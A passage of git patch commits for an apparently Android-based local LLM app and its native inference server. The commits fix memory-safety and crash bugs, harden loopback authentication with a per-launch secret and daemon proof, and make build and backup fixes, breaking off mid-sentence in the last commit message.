From 72f893205732a85b10e0b1e1cdeec0a3bb98580c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 01/80] fix(litert-lm-server): stream use-after-free; crash on non-UTF-8 errors Two crashes in the native OpenAI-compatible server: - StreamCallback released the queue mutex before notify_one(). Once the lock was dropped, the request thread could take the final chunk, finish the response and free the queue, so the runtime thread then signalled a freed condition variable and corrupted the heap. An ASan build caught it with no added delay: about 500 one-token streaming requests under CPU contention ended in a heap-use-after-free in pthread_cond_signal. The notify now happens while the lock is still held. - SendError serialised the error message with nlohmann's strict UTF-8 mode, and it runs inside the request's catch handlers. When the runtime's error text was not valid UTF-8 (it echoes a bad model file's raw magic bytes back), dump() threw out of the handler and std::terminate killed the whole server. The streaming "response.error" event used the same strict dump; there the throw was caught, but the client got neither the error event nor [DONE]. Both dumps now use error_handler_t::replace, so bad bytes become U+FFFD. Verified against the real liblitert-lm.so 0.18.0: release and ASan builds, the original ASan repro (now 0 reports), a 500-request parallel stress run, the malformed-model and invalid-UTF-8 error repros, and normal streaming / non-streaming requests. --- engines/litert-lm-server/src/main.cc | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index ac8b24c..9bd3a70 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -572,10 +572,12 @@ bool SendJson(int fd, const Request& req, int status, const json& j) { } // Python's send_error: the message is the status line's reason phrase. The body is an -// OpenAI-style error object rather than Python's HTML page. +// OpenAI-style error object rather than Python's HTML page. The message is often the runtime's own text, which need +// not be UTF-8 (a bad model file's magic bytes), and this runs inside catch handlers, so dump must not throw. bool SendError(int fd, const Request& req, int status, const std::string& message) { json body = {{"error", {{"message", message}, {"type", status >= 500 ? "server_error" : "invalid_request_error"}, {"code", status}}}}; - return SendResponse(fd, req, status, message, "application/json", body.dump() + "\n"); + return SendResponse(fd, req, status, message, "application/json", + body.dump(-1, ' ', false, json::error_handler_t::replace) + "\n"); } bool ReadRequest(int fd, Request& req) { @@ -683,10 +685,9 @@ void StreamCallback(void* data, const LiteRtLmStreamChunk* chunk) { item.text = t ? t : ""; item.final = L.litert_lm_stream_chunk_is_final(chunk); } - { - std::lock_guard lock(q->mu); - q->items.push_back(std::move(item)); - } + std::lock_guard lock(q->mu); + q->items.push_back(std::move(item)); + // Notify under the lock: once it is released the request thread may take the final chunk and free q. q->cv.notify_one(); } @@ -1112,7 +1113,8 @@ void HandleChatCompletions(int fd, const Request& req) { if (stream) { if (error) { // openai_common.OpenAIStreamFormatter.format_error - SendAll(fd, "event: response.error\ndata: " + json({{"error", "RuntimeError: " + *error}}).dump() + "\n\n"); + SendAll(fd, "event: response.error\ndata: " + + json({{"error", "RuntimeError: " + *error}}).dump(-1, ' ', false, json::error_handler_t::replace) + "\n\n"); } else { json last = make_chunk(json::array({{{"index", 0}, {"delta", json::object()}, {"finish_reason", finish}}})); last["timings"] = timings; From c3f51e5ea96cfaaf96249f7a6a677af9e5e2c316 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 02/80] fix(litert-lm-server): reject out-of-range .litertlm header offsets The runtime allocates from the uint64 header-end offset at byte 24 of a .litertlm without checking it. A file with the right magic but a bogus offset made liblitert-lm throw std::bad_alloc across the C API into std::terminate (or segfault, for an offset of exactly 32), killing the whole server. Any request naming such a file was enough. GetOrCreateEngine now reads the first 32 bytes (the same ones the daemon's models/litertlm.ts reads) and answers 500 with the usual "Failed to load engine" error, ending in "invalid .litertlm header", unless 32 < header_end <= file size. Files that can't be read, are shorter than 32 bytes or lack the magic are still left to the runtime, which reports them more precisely. The check runs before the loaded engine is released, so a rejected file leaves the current model loaded. Verified against the real liblitert-lm.so 0.18.0 in release and ASan builds: files with an out-of-range offset now get the 500 and the server stays up, other bad files still get the runtime's own error, and normal streaming and non-streaming requests still work. Other malformed files (an in-range offset over junk FlatBuffer bytes, or a file cut off before its first section) still crash inside the upstream runtime 0.18.0; those need an upstream fix. --- engines/litert-lm-server/src/main.cc | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 9bd3a70..93e1266 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -343,6 +343,25 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { } if (g_engine.engine && g_engine.key == key) return g_engine.engine; + // A .litertlm starts with "LITERTLM", three uint32 versions, 4 bytes of padding and a little-endian uint64 header-end + // offset (the same 32 bytes the daemon's models/litertlm.ts reads). The runtime allocates from that offset unchecked, + // and the std::bad_alloc a bogus one raises crosses the C API into std::terminate, killing the whole server, so the + // offset is bounded here first. Checked before the loaded engine is released, which a bad file then leaves in place. + // A file that can't be read or lacks the magic is left to the runtime, which reports it cleanly and more precisely + // (e.g. "Permission denied"). + { + struct stat st {}; + unsigned char h[32] = {}; + std::ifstream in(ref.path, std::ios::binary); + bool ok = ::stat(ref.path.c_str(), &st) == 0 && in.read(reinterpret_cast(h), sizeof h) && + std::memcmp(h, "LITERTLM", 8) == 0; + uint64_t header_end = 0; + for (int i = 31; i >= 24; --i) header_end = (header_end << 8) | h[i]; + if (ok && (header_end <= 32 || header_end > static_cast(st.st_size))) { + throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + + ": invalid .litertlm header')"); + } + } if (g_engine.engine) { Log("Re-initializing engine (model: " + ref.id + ", backend: " + key.backend + ")"); ReleaseEngine(); From 242b9ae7c93edebec56205bd525b02b74d38bebd Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 03/80] fix(android): keep models, caches, logs and the daemon out of backups Cloud backup has a 25 MB quota, and Android skips an app's whole backup when it goes over. The rules only excluded files/models/ (the import folder), while the daemon's default download folder files/.turbollm/models/ and the ~14.5 MB extracted daemon in files/daemon/ were included. So for anyone who had downloaded a model in the app, chats and settings were not backed up at all. backup_rules.xml and data_extraction_rules.xml now also exclude .turbollm/models/, .turbollm/cache/ (LiteRT-LM's compiled-model cache), .turbollm/logs/ (engine logs) and daemon/ (re-extracted from the APK), for both cloud backup and device transfer. Chats and config are still backed up. In the device-transfer block, the comment on the model folders now gives the real reason (multi-GB files that can be fetched again make a transfer much slower) rather than the cloud quota, which does not apply there. --- .../src/androidMain/res/xml/backup_rules.xml | 9 +++++++++ .../res/xml/data_extraction_rules.xml | 20 +++++++++++++++++-- 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/composeApp/src/androidMain/res/xml/backup_rules.xml b/composeApp/src/androidMain/res/xml/backup_rules.xml index 18b819d..925fe7e 100644 --- a/composeApp/src/androidMain/res/xml/backup_rules.xml +++ b/composeApp/src/androidMain/res/xml/backup_rules.xml @@ -7,4 +7,13 @@ + + + + + + + + diff --git a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml index 208d6ac..15fd926 100644 --- a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml +++ b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml @@ -8,13 +8,29 @@ + + + + + + + + - + + + + + + + + From 856867295548200cf33b75719ebf80e85f62fdc5 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 04/80] fix(android): per-launch app secret so other apps can't use the daemon The daemon trusts any request from 127.0.0.1, but on Android every installed app shares that loopback address. Any app with the INTERNET permission could read chats and tokens, change settings and use routes that launch processes as TurboLLM. The app now generates a 32-byte random secret once per process (SecureRandom, hex) and passes it to the daemon as TURBOLLM_APP_SECRET through the existing env map before Node starts. The WebView gets it as an HttpOnly, SameSite=Strict "turbollm_app" cookie, set each time the WebView is created and before the UI is loaded. Every native call to the daemon (the startup probe in DaemonClient.isDaemonReachable, EngineService's activity check and model unload, model import and storage rescan) sends it as the X-TurboLLM-App header. The daemon side, which then trusts only loopback callers that present the secret, is a separate pull request in the TurboLLM repo; without it the cookie and header are simply ignored. Cookies are scoped by host, not port, so anything on the page pointing at another 127.0.0.1 port (an image in a model card or a reply, a link) would hand the secret to whichever app listens there. The WebView now blocks that: - shouldInterceptRequest answers 403 to any request whose URL is 127.0.0.1 on a port other than the daemon's. - shouldOverrideUrlLoading cancels main-frame navigations to such a port, including a redirect hop of a tapped link, before the request goes out. - Image and media requests that redirect there are covered by a CSP header the daemon sends in this mode (also in the TurboLLM pull request). Behaviour change: a link to localhost on any port other than the daemon's now opens in the system browser instead of inside the app, and a link to another 127.0.0.1 port no longer opens at all. Not compiled here (no Android SDK in the review environment): needs an assembleDebug and a quick on-device check. --- .../kotlin/com/turbollm/app/DaemonWebView.kt | 41 +++++++++++++++++-- .../kotlin/com/turbollm/app/EngineService.kt | 2 + .../kotlin/com/turbollm/app/MainActivity.kt | 11 +++++ .../kotlin/com/turbollm/app/ModelImport.kt | 1 + .../kotlin/com/turbollm/app/StorageAccess.kt | 1 + .../kotlin/com/turbollm/app/DaemonClient.kt | 10 +++-- 6 files changed, 59 insertions(+), 7 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 8d5d865..338102c 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -6,9 +6,11 @@ import android.content.ActivityNotFoundException import android.content.Intent import android.net.Uri import android.os.Build +import android.webkit.CookieManager import android.webkit.ValueCallback import android.webkit.WebChromeClient import android.webkit.WebResourceRequest +import android.webkit.WebResourceResponse import android.webkit.WebView import android.webkit.WebViewClient import androidx.activity.compose.BackHandler @@ -43,6 +45,7 @@ import com.airbnb.lottie.compose.LottieConstants import com.airbnb.lottie.compose.animateLottieCompositionAsState import com.airbnb.lottie.compose.rememberLottieComposition import kotlinx.coroutines.delay +import java.io.ByteArrayInputStream private val DAEMON_URL = "http://127.0.0.1:$ANDROID_DAEMON_PORT/" @@ -186,7 +189,7 @@ fun DaemonWebViewScreen() { LaunchedEffect(Unit) { while (!ready) { - ready = client.isDaemonReachable(ANDROID_DAEMON_PORT) + ready = client.isDaemonReachable(ANDROID_DAEMON_PORT, DAEMON_APP_SECRET) if (!ready) delay(500) } } @@ -323,16 +326,38 @@ private fun TurboLLMWebView() { return true // never let the WebView try to load this scheme } // A link off the daemon (Hugging Face, docs, a model card) opens in the browser rather than - // replacing the app's UI inside its own WebView, where Back would be the only way out. - val external = (url.scheme == "http" || url.scheme == "https") && - url.host != "127.0.0.1" && url.host != "localhost" + // replacing the app's UI inside its own WebView, where Back would be the only way out. So does + // localhost on any port but the daemon's: that is some other app's server, not ours. + val external = (url.scheme == "http" || url.scheme == "https") && url.host != "127.0.0.1" && + !(url.host == "localhost" && url.port == ANDROID_DAEMON_PORT) if (request.isForMainFrame && external) { runCatching { view.context.startActivity(Intent(Intent.ACTION_VIEW, url)) } return true } + // Another 127.0.0.1 port would be sent the app-secret cookie (see shouldInterceptRequest + // below). Unlike that callback, this one runs again for each redirect hop of a main-frame + // navigation, so a link that 302s to 127.0.0.1: is stopped here, before that + // request (and the cookie) goes out. + if (url.host == "127.0.0.1" && url.port != ANDROID_DAEMON_PORT) return true return false } + // The app-secret cookie (below) is scoped to 127.0.0.1, and cookies ignore ports: anything on the + // page pointing at another loopback port (an image in a model card or a reply, a link) would hand + // it to whichever app listens there. Nothing the UI needs is on another port, so a request that + // starts there is refused here. This only sees a request's FIRST URL, not its redirect hops: an + // https image that 302s to 127.0.0.1: gets past it. Those hops are covered elsewhere: + // for images and media by the daemon's CSP on the UI's HTML (APP_SECRET_CSP, daemon server.ts), + // which is checked on every redirect; for main-frame navigations by shouldOverrideUrlLoading above. + // Runs on a WebView thread, so it touches nothing but the request. + override fun shouldInterceptRequest(view: WebView, request: WebResourceRequest): WebResourceResponse? { + val url = request.url + if (url.host != "127.0.0.1" || url.port == ANDROID_DAEMON_PORT) return null + return WebResourceResponse( + "text/plain", "utf-8", 403, "Forbidden", emptyMap(), ByteArrayInputStream(ByteArray(0)), + ) + } + override fun onPageFinished(view: WebView, url: String?) { super.onPageFinished(view, url) view.evaluateJavascript(HEIGHT_FIX_JS, null) @@ -363,6 +388,14 @@ private fun TurboLLMWebView() { } } } + // The daemon trusts only loopback requests that carry the app secret (DAEMON_APP_SECRET); this cookie is + // how every request the page makes carries it, WebSocket handshakes included. HttpOnly: page scripts + // (a chat artifact included) cannot read it. Set before the first load, every launch, since the secret + // changes with each process. + CookieManager.getInstance().apply { + setCookie(DAEMON_URL, "turbollm_app=$DAEMON_APP_SECRET; Path=/; HttpOnly; SameSite=Strict") + flush() + } loadUrl(DAEMON_URL) webViewRef = this } diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 07292ac..a9a5157 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -190,6 +190,7 @@ class EngineService : Service() { conn.requestMethod = "POST" conn.doOutput = true conn.setRequestProperty("Content-Type", "application/json") + conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 1000 conn.readTimeout = 5000 conn.outputStream.use { it.write("{}".toByteArray()) } @@ -235,6 +236,7 @@ class EngineService : Service() { /** True while a chat, Code run, routine or API generation is in flight. Any failure (daemon still booting) = idle. */ private fun queryBusy(): Boolean = try { val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/activity").openConnection() as HttpURLConnection + conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 1000 conn.readTimeout = 2000 try { diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index 6a38366..a62dee2 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -17,6 +17,7 @@ import androidx.activity.result.contract.ActivityResultContracts import java.io.File import java.io.FileInputStream import java.io.FileOutputStream +import java.security.SecureRandom import java.util.concurrent.atomic.AtomicBoolean private const val TAG = "TurboLLM" @@ -28,6 +29,14 @@ private const val TAG = "TurboLLM" * (below) and for the WebView's own URL (DaemonWebView.kt). */ const val ANDROID_DAEMON_PORT = 7000 +/** Every app on the phone shares 127.0.0.1, and the daemon trusts loopback callers, so any installed app could use + * its whole API. The daemon is started with this random secret (TURBOLLM_APP_SECRET, see the daemon's auth.ts) and + * then trusts only loopback requests carrying it: the WebView as the `turbollm_app` cookie (DaemonWebView.kt), native + * calls as the X-TurboLLM-App header. One per process, like Node itself (nodeStarted below), so every component in + * this process holds the value the running daemon was given. */ +val DAEMON_APP_SECRET: String = ByteArray(32).also { SecureRandom().nextBytes(it) } + .joinToString("") { (it.toInt() and 0xff).toString(16).padStart(2, '0') } + /** Node can start once per process: a second node::Start aborts it. The process outlives the activity (EngineService * keeps it running after Back), so a flag on the activity instance let a reopened app start Node again and crash. */ private val nodeStarted = AtomicBoolean(false) @@ -97,6 +106,8 @@ class MainActivity : ComponentActivity() { "TURBOLLM_ANDROID_NATIVE_LIB_DIR" to applicationInfo.nativeLibraryDir, // Node's stdout/stderr, otherwise lost in an app process (native-lib.cpp). "TURBOLLM_DAEMON_LOG" to File(filesDir, "daemon.log").absolutePath, + // Loopback callers must present it (DAEMON_APP_SECRET). + "TURBOLLM_APP_SECRET" to DAEMON_APP_SECRET, ) + gpuEnv() + socEnv(), args = arrayOf("--no-telemetry", "--port", ANDROID_DAEMON_PORT.toString()), preloadScripts = arrayOf("${filesDir.absolutePath}/daemon/dist/android-preload.cjs"), diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt index 4222c70..717fb68 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt @@ -227,6 +227,7 @@ object ModelImport { conn.requestMethod = "POST" conn.doOutput = true conn.setRequestProperty("Content-Type", "application/json") + conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 2000 conn.readTimeout = 10_000 conn.outputStream.use { it.write(JSONObject().put("dir", dir.absolutePath).toString().toByteArray()) } diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt index 82282f0..cce012c 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt @@ -137,6 +137,7 @@ class StorageAccess(private val activity: Activity) { runCatching { val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/models/rescan").openConnection() as HttpURLConnection conn.requestMethod = "POST" + conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 2000 conn.readTimeout = 5000 conn.responseCode diff --git a/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt b/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt index 4cec0ee..a6f7713 100644 --- a/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt +++ b/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt @@ -5,6 +5,7 @@ import io.ktor.client.call.body import io.ktor.client.plugins.HttpTimeout import io.ktor.client.plugins.contentnegotiation.ContentNegotiation import io.ktor.client.request.get +import io.ktor.client.request.header import io.ktor.client.statement.HttpResponse import io.ktor.http.isSuccess import io.ktor.serialization.kotlinx.json.json @@ -48,10 +49,13 @@ class DaemonClient { * shape at `/`) since all this needs to know is "has the HTTP server come up yet," to * gate showing the WebView pointed at the daemon's real web UI. `port` is caller-supplied * (not hardcoded like `status()` above) since Android runs the daemon on its own port — - * see ANDROID_DAEMON_PORT. */ - suspend fun isDaemonReachable(port: Int): Boolean = + * see ANDROID_DAEMON_PORT. `appSecret` is the loopback credential the daemon was started with (Android's + * DAEMON_APP_SECRET): without it the daemon answers 401 and the app would wait here forever. */ + suspend fun isDaemonReachable(port: Int, appSecret: String): Boolean = try { - val response: HttpResponse = client.get("http://127.0.0.1:$port/api/v1/status") + val response: HttpResponse = client.get("http://127.0.0.1:$port/api/v1/status") { + header("X-TurboLLM-App", appSecret) + } response.status.isSuccess() } catch (e: Exception) { false From 758b58e5dd8456752595ea72f5b9ed46519215df Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 05/80] fix(android): count downloads as busy; re-post a swiped notification - In-app model downloads were not counted as busy work, so they got no wake lock and stalled with the screen off. With notifications off, leaving the app could also stop the service mid-download, after which Android could freeze or kill the process. EngineService now also asks GET /api/v1/downloads (sending the app secret, like its other calls) and treats a queued or downloading entry as busy, both in the poll and in the checks before it unloads the model and stops; a paused or failed download does not count. The notification says "Downloading models" meanwhile. A failed query counts as idle, like the existing activity check. - On Android 14+ users can swipe away a foreground-service notification, which also removed the only Quit control while the service kept the model in memory. The notification now has a delete intent that re-posts it while the service is running (and stops the service if it is not). Not compiled here (no Android SDK in the review environment). --- .../kotlin/com/turbollm/app/EngineService.kt | 51 +++++++++++++++++-- 1 file changed, 48 insertions(+), 3 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index a9a5157..77294da 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -27,6 +27,7 @@ private const val CHANNEL_ID = "engine" private const val NOTIFICATION_ID = 1 private const val ACTION_QUIT = "com.turbollm.app.QUIT" private const val ACTION_ACTIVITY_FINISHED = "com.turbollm.app.ACTIVITY_FINISHED" +private const val ACTION_REPOST = "com.turbollm.app.REPOST" private const val POLL_MS = 3000L /** Keeps the daemon and its engine processes running while the app is not on screen. @@ -49,6 +50,7 @@ class EngineService : Service() { private var thermalListener: PowerManager.OnThermalStatusChangedListener? = null @Volatile private var busy = false @Volatile private var importing = false + @Volatile private var downloading = false @Volatile private var thermal = 0 /** Set when the app was closed with notifications off: stop as soon as nothing is generating (see onStartCommand). */ @Volatile private var stopWhenIdle = false @@ -99,6 +101,12 @@ class EngineService : Service() { appClosed() return START_NOT_STICKY } + if (intent?.action == ACTION_REPOST) { + // Android 14+ lets the user swipe the engine notification away (setOngoing no longer prevents it), and its + // Quit with it, while appClosed() keeps counting on Quit being there. Put it straight back. + if (running) updateNotification() else stopSelf(startId) + return START_NOT_STICKY + } stopWhenIdle = false ServiceCompat.startForeground( this, NOTIFICATION_ID, buildNotification(), @@ -172,8 +180,8 @@ class EngineService : Service() { Thread({ // `busy` is the poll's view, up to 3 s old: a reply sent just before Back would not be in it yet. Ask the // daemon now, and again right before unloading, so a generation that has just started is never aborted. - val idle = !queryBusy() && !ModelImport.isRunning() - if (idle) unloadModel { stopWhenIdle && !queryBusy() && !ModelImport.isRunning() } + val idle = !queryBusy() && !queryDownloading() && !ModelImport.isRunning() + if (idle) unloadModel { stopWhenIdle && !queryBusy() && !queryDownloading() && !ModelImport.isRunning() } ContextCompat.getMainExecutor(this).execute { stopping.set(false) // onDestroy releases the wake lock and clears `running` once the stop takes effect. @@ -208,11 +216,17 @@ class EngineService : Service() { this.importing = importing updateNotification() } - val nowBusy = queryBusy() || importing + // So does a model download (Discover): a stopped service or a sleeping CPU would stall a multi-GB transfer. + val downloading = queryDownloading() + val nowBusy = queryBusy() || importing || downloading // The query can take seconds. Under the lock, so the service being destroyed meanwhile is seen before the // wake lock is re-taken or a removed notification is posted again. synchronized(stateLock) { if (!running) return + if (downloading != this.downloading) { + this.downloading = downloading + updateNotification() + } if (nowBusy != busy) { busy = nowBusy if (nowBusy) wakeLock?.acquire(30 * 60 * 1000L) else releaseWakeLock() @@ -255,6 +269,30 @@ class EngineService : Service() { false } + /** True while the daemon has a model download running or queued (GET /api/v1/downloads). Any failure = idle, as + * above; a paused or failed download does not count, as nothing is transferring. */ + private fun queryDownloading(): Boolean = try { + val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/downloads").openConnection() as HttpURLConnection + conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) + conn.connectTimeout = 1000 + conn.readTimeout = 2000 + try { + if (conn.responseCode != 200) { + false + } else { + val list = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }).optJSONArray("downloads") + (0 until (list?.length() ?: 0)).any { + val status = list?.optJSONObject(it)?.optString("status") + status == "downloading" || status == "queued" + } + } + } finally { + conn.disconnect() + } + } catch (_: Exception) { + false + } + private fun releaseWakeLock() { wakeLock?.let { if (it.isHeld) it.release() } } @@ -274,9 +312,15 @@ class EngineService : Service() { Intent(this, EngineService::class.java).setAction(ACTION_QUIT), PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT, ) + val repost = PendingIntent.getService( + this, 2, + Intent(this, EngineService::class.java).setAction(ACTION_REPOST), + PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT, + ) val hot = thermal >= PowerManager.THERMAL_STATUS_SEVERE val text = when { importing -> "Importing models" + downloading -> "Downloading models" hot && busy -> "Generating. The phone is hot, so it is throttling speed" hot -> "Running. The phone is hot, so generation will be slower" busy -> "Generating" @@ -292,6 +336,7 @@ class EngineService : Service() { .setCategory(NotificationCompat.CATEGORY_SERVICE) .setForegroundServiceBehavior(NotificationCompat.FOREGROUND_SERVICE_IMMEDIATE) .setContentIntent(open) + .setDeleteIntent(repost) .addAction(0, "Quit", quit) .build() } From a99c35fc6e59ee5efceeb39fbfbc4162d0579e5b Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 06/80] fix(android): stage the daemon's real version stage-daemon-assets.mjs wrote daemon/package.json as {"type":"module"} only. The daemon reads its version from that file and fell back to 0.1.1, so every Android install reported 0.1.1 in the UI, telemetry and the Turbo Link hello, and the boot-time update check saw an "update" on every start. The staged package.json now also carries the version from turbollm/package.json; staging fails loudly if it is missing. The version-writing step was run against a scratch layout, where the daemon's own lookup then reports the real version. The full staging script was not run, because it rewrites the APK assets. --- scripts/stage-daemon-assets.mjs | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/scripts/stage-daemon-assets.mjs b/scripts/stage-daemon-assets.mjs index 6cc5d54..1045112 100644 --- a/scripts/stage-daemon-assets.mjs +++ b/scripts/stage-daemon-assets.mjs @@ -17,15 +17,16 @@ // bundled (turbollm/tsup.android.config.ts, ~6 MB) and staged here. // // Layout produced (mirrors what Node expects once extracted to filesDir/daemon): -// daemon/package.json {"type":"module"} — without it Node reads the -// ESM bundle as CommonJS and dies on `import` +// daemon/package.json {"type":"module","version":…} — without the type +// Node reads the ESM bundle as CommonJS and dies on +// `import`; the version is what the daemon reports // daemon/dist/… the bundle + android-preload.cjs + webdist/ // daemon/node_modules/sql.js/… NOT bundled on purpose: sql.js resolves its own // .wasm relative to its package dir at runtime // // Usage: node scripts/stage-daemon-assets.mjs [path-to-turbollm-checkout] import { execSync } from 'node:child_process' -import { cpSync, existsSync, mkdirSync, rmSync, writeFileSync, readdirSync, statSync } from 'node:fs' +import { cpSync, existsSync, mkdirSync, rmSync, writeFileSync, readFileSync, readdirSync, statSync } from 'node:fs' import { dirname, join, resolve } from 'node:path' import { fileURLToPath } from 'node:url' @@ -97,8 +98,15 @@ if (!existsSync(wsSrc)) { cpSync(wsSrc, join(assets, 'node_modules', 'ws'), { recursive: true }) // The daemon bundle is ESM. Node decides that by walking up for the nearest package.json, -// and once extracted to filesDir there is no other one above it. -writeFileSync(join(assets, 'package.json'), '{"type":"module"}\n') +// and once extracted to filesDir there is no other one above it. It is also where the daemon +// reads its own version (cli.ts: `/../package.json`) — without one it fell back +// to '0.1.1' in the UI, telemetry, Turbo Link hello and the update check on every Android install. +const { version } = JSON.parse(readFileSync(join(turbollm, 'package.json'), 'utf8')) +if (typeof version !== 'string' || !version) { + console.error(`FATAL: no version in ${join(turbollm, 'package.json')}`) + process.exit(1) +} +writeFileSync(join(assets, 'package.json'), `${JSON.stringify({ type: 'module', version })}\n`) function du(dir) { let total = 0 From ff6dad18edf5f7e41280037e0deee9cd8358f14e Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 14 Oct 2026 11:15:58 +0000 Subject: [PATCH 07/80] fix(play-listing): parse listing-copy.md with CRLF line endings stage-play-listing.mjs only matched LF line endings, so on a default Git-for-Windows checkout (CRLF; the repo has no .gitattributes) every field parsed as null and the Play listing step stopped with a "could not parse" error. Line endings are now normalised to LF right after the file is read. Checked with a CRLF copy of the real listing-copy.md: the title and both descriptions parse, with no stray \r in them. --- scripts/stage-play-listing.mjs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/scripts/stage-play-listing.mjs b/scripts/stage-play-listing.mjs index e29ea6f..acb216f 100644 --- a/scripts/stage-play-listing.mjs +++ b/scripts/stage-play-listing.mjs @@ -28,7 +28,9 @@ if (!existsSync(listingCopyPath)) { console.error(`FATAL: missing ${listingCopyPath}`) process.exit(1) } -const md = readFileSync(listingCopyPath, 'utf8') +// LF only from here on: Git for Windows checks the file out with CRLF by default (no .gitattributes), which the +// fence regex below would not match, and the copy would reach Play with stray \r in it. +const md = readFileSync(listingCopyPath, 'utf8').replace(/\r\n/g, '\n') // Extracts the first fenced ``` block that follows a `## ` line matching `headingRe`. function extractFenced(headingRe) { From ced6bac2e8223d5e790e9eb7c7d010566f4a5a78 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 00:41:15 +0000 Subject: [PATCH 08/80] fix(android): send the app secret only to a daemon that proves itself The app sent its per-launch secret (the X-TurboLLM-App header from native code, the turbollm_app cookie from the WebView) to whatever listened on 127.0.0.1:7000. On a cold start that is not yet the daemon: MainActivity starts EngineService, whose busy polls carry the header, before Node, and the startup probe sent it as well. Another app on the phone could listen on 7000 first, collect the secret, and let go of the port inside the daemon's ~10 s bind retry. The daemon then bound normally, and the stolen secret opened the whole API to that app for as long as the app process lived. A LAN toggle opens the same gap for a moment, while the daemon rebinds its port. Native code now reaches the daemon only through the new DaemonAuth.kt. Before each request, daemonProven() sends a fresh 32-byte SecureRandom nonce to GET /api/v1/app-proof and checks the answer against the HMAC-SHA256, under the secret, of "turbollm-app-proof\n127.0.0.1:7000\n", in constant time (MessageDigest.isEqual) and without following redirects. Only the daemon this process started can answer, and the answer is no use as the secret. The daemon signs the 